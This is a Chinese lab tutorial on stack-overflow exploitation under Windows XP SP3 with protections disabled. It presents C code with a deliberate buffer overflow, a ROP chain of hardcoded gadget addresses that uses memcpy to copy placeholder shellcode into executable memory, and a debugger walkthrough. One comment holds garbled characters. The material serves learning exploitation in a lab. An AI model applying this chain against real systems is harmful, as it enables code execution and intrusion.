实验环境:
winxp sp3
vs2010
实验配置:
关闭DEP、GS、SAFESEH,禁用优化,release版本
思路:
如果进程的内存空间中有一段可读可写可执行的内存,而我们将shellcode复制到该内存,并劫持程序流程,则我们的shellcode就有执行的机会。
具体实施:
利用memcpy函数将shellcode复制到该段内存。
memcpy函数的部署可参考上一节
1、首先找到一段可读可写可执行的内存
点击M按钮,发现没有这样的内存。于是,我们选中0x00160000该段内存,修改访问属性。右键->设置访问->所有访问
(最初我选择0x00150000段内存,发现运行memcpy时会报错,因此改为0x00160000)
2、依然还是利用push esp jmp eax和pop retn 指令填充memcpy的两个函数地址,并利用pop pop retn收回程序的控制权,使其跳转到memcpy函数内部执行。当然还需要修复ebp
因此,shellcode布局如下:
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<string.h>
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\xae\x13\x67\x7d" // eax指向的值,即pop pop retn指令
"\x85\x8b\x1d\x5d" // 修复EBP
"\x0c\xde\xce\x7d" // pop ecx retn
"\x00\x00\x16\x00" // memcpy的返回地址
"\x00\x00\x16\x00" // memcpy的第一个参数,目标内存地址
"\xc6\xc6\xeb\x77" // push esp jmp eax &原-始º?shellcode地Ì?址¡¤
"\xff\x00\x00\00" // shellcode长度
"\xb8\x1d\x92\x7c" // memcpy入口地址
"\x42\x42\x42\x42" // shellcode
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
};
int test()
{
printf("OK!");
char array[4]={0};
memcpy(array,shell,sizeof(shell)+1);
return 0;
}
int main()
{
HMODULE hMod = LoadLibrary(L"shell32.dll");
test();
return 0;
}
1、OD载入运行,程序首先执行0x7DA6433C处的pop eax retn指令
并将0x7D6713AE处的pop pop retn指令传给eax
2、接着执行0x5D1D8B85处的的push esp pop ebp retn指令修复ebp
3、接着执行0x7DCEDE0C处的pop retn指令,将memcpy的第一个参数压栈
4、接着执行0x77EBC6C6处的push esp jmp eax指令,将Memcpy的第三个参数压栈
5、接着跳转到pop pop retn指令处,
6、执行完后,将跳转到0x7C921DB8处的Memcpy函数
7、执行完memcpy函数后,将转到0x00160000内存处执行
8、我们发现我们的shellcode开始的位置在0x00160008位置处,因此我们将memcpy的返回地址改为0x00160008即可。